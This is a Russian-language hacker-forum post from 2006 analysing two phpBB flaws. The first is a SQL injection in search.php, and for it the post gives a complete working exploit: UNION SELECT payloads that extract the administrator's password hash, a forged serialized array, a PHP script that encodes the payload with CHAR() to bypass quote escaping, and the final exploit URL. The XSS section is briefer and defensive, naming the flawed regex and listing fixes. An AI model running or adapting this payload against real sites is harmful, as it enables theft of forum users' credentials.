|
Познающий
Регистрация: 22.10.2005
Сообщений: 37
Провел на форуме: 520745
Репутация:
141
|
|
Скорее всего - просто ляп(SQL-injection)
Пояснение
Большинство функций в php не изменяют самих переменных переданных им. (Строго говоря, они просто не могут этого сделать, так как переменные по умолчанию передаются по значению, а не по ссылке...). Но многие прогаммисты по невнимательности или из-зи безграммотности пишут:
PHP код:
$str='bik';
str_replace('k', 'g', $str);
$num='4 b';
intval($num);
if ($str==='big' && $num===4) echo "All right!";
И удивляются пустому экрану...
Где это
Уязвимость работала до 5-й версии включительно (в 6-й версии была оперативно закрыта)
Уязвимость содержалась в файле searc.php, отвечающем за всевозможный поиск.
Суть проблемы
Уязвимая переменная - $search_id. В ней хранится либо режим поиска, либо идентификатор поискового запроса (для ускорния работы результаты поиска загоняются в массив, сериализуются и сохраняются в БД). Инетересный для нас случай - последний:
PHP код:
if ( intval($search_id) )
{
$sql = "SELECT search_array
FROM " . SEARCH_TABLE . "
WHERE search_id = $search_id
AND session_id = '". $userdata['session_id'] . "'";
// рассериализация, вывод результатов поиска
Здесь мы видим очевидный ляп в первой строке. Скорее всего, здесь должно стоять что-то типа:
PHP код:
$search_id=intval($search_id);
if ( $search_id )
Чтобы пройти проверку if ( intval($search_id) ) достаточно, чтобы $search_id начинался с отличной от нуля цифры. После запроса данные рассериализуются и далее не проверяются. Реализовать SQL-injection в данном случае чуть сложнее технически (хэш мы можем получить только в следующем запросе), но вполне реально. Впрочем, я лучше покажу - новичкам будет интересно. Те, кто уже достаточно владеет техникой MySQL-inj предлагаю самим пройти этот левел  . Чтобы не тратит время на всякую фигню, скажу, что в таблицах `phpbb_posts` и `phpbb_topics` по 13 полей, phpbb_search_results.search_array выглядит как-то так:
Код:
a:7:{s:14:"search_results";s:1:"3";s:17:"total_match_count";i:1;s:12:"split_search";a:1:{i:0;s:7:"example";}s:7:"sort_by";i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:5:"posts";s:12:"return_chars";i:200;}
. Необходимый кусок кода:
PHP код:
// в $store_vars хранятся названия переменных, которые будут иницилизированны по ходу
$store_vars = array('search_results', 'total_match_count', 'split_search', 'sort_by', 'sort_dir', 'show_results', 'return_chars');
// <вырезано>
// знакомый кусок
if ( intval($search_id) )
{
$sql = "SELECT search_array
FROM phpbb_search_results
WHERE search_id = $search_id
AND session_id = '". $userdata['session_id'] . "'";
if ( !($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'Could not obtain search results', '', __LINE__, __FILE__, $sql);
}
if ( $row = $db->sql_fetchrow($result) )
{
$search_data = unserialize($row['search_array']);
for($i = 0; $i < count($store_vars); $i++)
{
$$store_vars[$i] = $search_data[$store_vars[$i]];
}
}
}
if ( $search_results != '' )
{
if ( $show_results == 'posts' )
{
$sql = "SELECT pt.post_text, pt.bbcode_uid, pt.post_subject, p.*, f.forum_id, f.forum_name, t.*, u.username, u.user_id, u.user_sig, u.user_sig_bbcode_uid
FROM phpbb_forums f, phpbb_topics t, phpbb_users u, phpbb_posts p, phpbb_posts_text pt
WHERE p.post_id IN ($search_results)
AND pt.post_id = p.post_id
AND f.forum_id = p.forum_id
AND p.topic_id = t.topic_id
AND p.poster_id = u.user_id";
// далее следует собственно сама печать на экран
Рассказываю решение этого квеста. Будем идти снизу вверх:
1) Единственная переменная, на которую мы вляем - это $search_results. Нам необходимо закрыть скобку (оставив что-то внутри неё), и желательно сделать так, чтобы этот запрос не дал ничего. После этого UNION и комментарий в конце: " 20) AND 2=1 UNION SELECT что-то ещё /*".
2) Последний запрос выдаёт 1+1+1+13+1+1+13+1+1+1+1=35 полей. Первое выдаваемое поле идёт в pt.post_text, то есть в текст сообщения - туда-то и положим хэш. В остальные поля положим "a":
Код:
20) AND 2=1 UNION SELECT phpbb_users.user_password,"a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a" FROM phpbb_users WHERE phpbb_users.user_id=2 /*
3)Идём выше. Пришло время разобраться в том, что же хранится в сериализованной строке phpbb_search_results.search_array. Если рассериализовать строку, которую я давал выше, то получится:
Код:
Array
(
[search_results] => 3
[total_match_count] => 1
[split_search] => Array
(
[0] => example
)
[sort_by] => 0
[sort_dir] => DESC
[show_results] => posts
[return_chars] => 200
)
Теперь видно откуда берётся перменная $search_results - она содержится в зариализованной массиве. Как же её изменить? Проще всего - скриптом:
PHP код:
$str='a:7:{s:14:"search_results";s:1:"3";s:17:"total_match_count";i:1;s:12:"split_search";a:1:{i:0;s:7:"example";}s:7:"sort_by";i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:5:"posts";s:12:"return_chars";i:200;}';
$ar=unserialize($str);
$ar['search_results']='20) AND 2=1 UNION SELECT phpbb_users.user_password,"a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a" FROM phpbb_users WHERE phpbb_users.user_id=2 /*';
echo serialize($ar);
Получаем такого монстрика:
Код:
a:7:{s:14:"search_results";s:235:"20) AND 2=1 UNION SELECT phpbb_users.user_password,"a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a" FROM phpbb_users WHERE phpbb_users.user_id=2 /*";s:17:"total_match_count";i:1;s:12:"split_search";a:1:{i:0;s:7:"example";}s:7:"sort_by";i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:5:"posts";s:12:"return_chars";i:200;}
4) Осталось впизнуть нашу строку вместо настоящей. Это делается проще простого: в $search_id вставляем какое-то число (чтобы if прошёл) и пересекаем с каким-либо неверным условие (AND 1=2); далее делаем UNION SELECT и вставляем нвшу строку; напоследок - закомментируем конец строки. Получили
Код:
11 AND 2=1 UNION SELECT 'a:7:{s:14:"search_results";s:235:"20) AND 2=1 UNION SELECT phpbb_users.user_password,"a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a" FROM phpbb_users WHERE phpbb_users.user_id=2 /*";s:17:"total_match_count";i:1;s:12:"split_search";a:1:{i:0;s:7:"example";}s:7:"sort_by";i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:5:"posts";s:12:"return_chars";i:200;}' /*
.
5) Что - не работает? Конечно! В phpBB встроенно обязательное закавычивание всех переменных окружения. Это почти "магические кавычки", но реализовано вручную. Поэтому если мы просто пошлём получившуюся строчечку GET'ом, то нарвёмся на облом. Но выход есть! Как, наверное, многим известно, в MySQL есть замечательная функция char(a1,a2,...), возвращающая строку, состоящую из символов, ascii-коды которых - a1, a2 итд соответственно. Зашифруем с помощью неё все, что идёт после SELECT и до комментария. Поможет нам в этом деле маленький скриптик:
PHP код:
$str=@$_GET['str'];
$new_str='CHAR (';
for ($i=0; $i<strlen($str); $i++)
$new_str.=($i==0) ? ord($str{$i}) : ','.ord($str{$i});
$new_str.=')';
echo $new_str;
Он шифрует строку, переданную GET'ом в переменной str. Получаем:
Код:
11 AND 2=1 UNION SELECT CHAR (97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,50,51,53,58,34,50,48,41,32,65,78,68,32,50,61,49,32,85,78,73,79,78,32,83,69,76,69,67,84,32,32,112,104,112,98,98,95,117,115,101,114,115,46,117,115,101,114,95,112,97,115,115,119,111,114,100,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,32,70,82,79,77,32,112,104,112,98,98,95,117,115,101,114,115,32,87,72,69,82,69,32,112,104,112,98,98,95,117,115,101,114,115,46,117,115,101,114,95,105,100,61,50,32,47,42,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,49,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,55,58,34,101,120,97,109,112,108,101,34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,53,58,34,112,111,115,116,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125) /*
Вот и всё! Эксплоит:
Код:
http://phpbb_2_0_5.phpbb/search.php?search_id=11 AND 2=1 UNION SELECT CHAR (97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,50,51,53,58,34,50,48,41,32,65,78,68,32,50,61,49,32,85,78,73,79,78,32,83,69,76,69,67,84,32,32,112,104,112,98,98,95,117,115,101,114,115,46,117,115,101,114,95,112,97,115,115,119,111,114,100,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,32,70,82,79,77,32,112,104,112,98,98,95,117,115,101,114,115,32,87,72,69,82,69,32,112,104,112,98,98,95,117,115,101,114,115,46,117,115,101,114,95,105,100,61,50,32,47,42,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,49,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,55,58,34,101,120,97,109,112,108,101,34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,53,58,34,112,111,115,116,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125) /*
Как не вляпаться
Не делать ляпов!!!
Плохая обработка BB-тэгов(Cross Site Scripting)
Пояснение
BB-тэги - они и в Африке BB-тэги, а CSS - оно иногда бывает XSS.  Что ещё скать?
Где это
Последняя XSS из-за плохой обработки BB-тэгов была 18-й версии
Уязвимость содержалась в файле-библиотеке includes/bbcode.php, отвечающей за обработку BB-тэгов.
Суть проблемы
Уязвимости такого класса искать легче всего, так как обработчик тэгов всегда сидит в одном файле и просмотрев его можно точно сказать, есть уязвимость или нет. Обработчик в phpBB сидит в файле includes/bbcode.php. В данном случае обработчик не только не запрещал, но и установливал '[' и ']' разрешёнными символами:
Код:
$patterns[] = "#\[url\]([\w]+?://[\w\#$%&~/.\-;:=,?@\[\]+]*?)\[/url\]#is";
Выводить сплоит я не буду, хотя бы потому, что есть, например, в статье ( link) NaX[no]rt'a.
Как не вляпаться
Требования:
1) Обязательно ограничивать агрументы тэгов кавычками и фильтровать кавычки, открывающиеся и закрывающиеся угловые и квадратные скобки внутри них.
2) Требовать, чтобы все ссылки (в тэгах img и url) начинались с указания протокола.
3) Использовать <font color=""> вместо <span style="color:"> итд
Это необходимые и достаточные требования для полной защиты от таких атак.
Послесловие.
Надеюсь вам понравилось! Планирую сделать продолжение - про IPB, если время будет и если кто-нибудь не сделает до меня. Хотя вряд ли найдётся маньяк, готовый по эксплоитам искать ошибку и занова строить сплоит  .
Баги ждут вас! Дерзайте!
© pch (pchopch on the gmail.com) [antichat.ru] 2006
|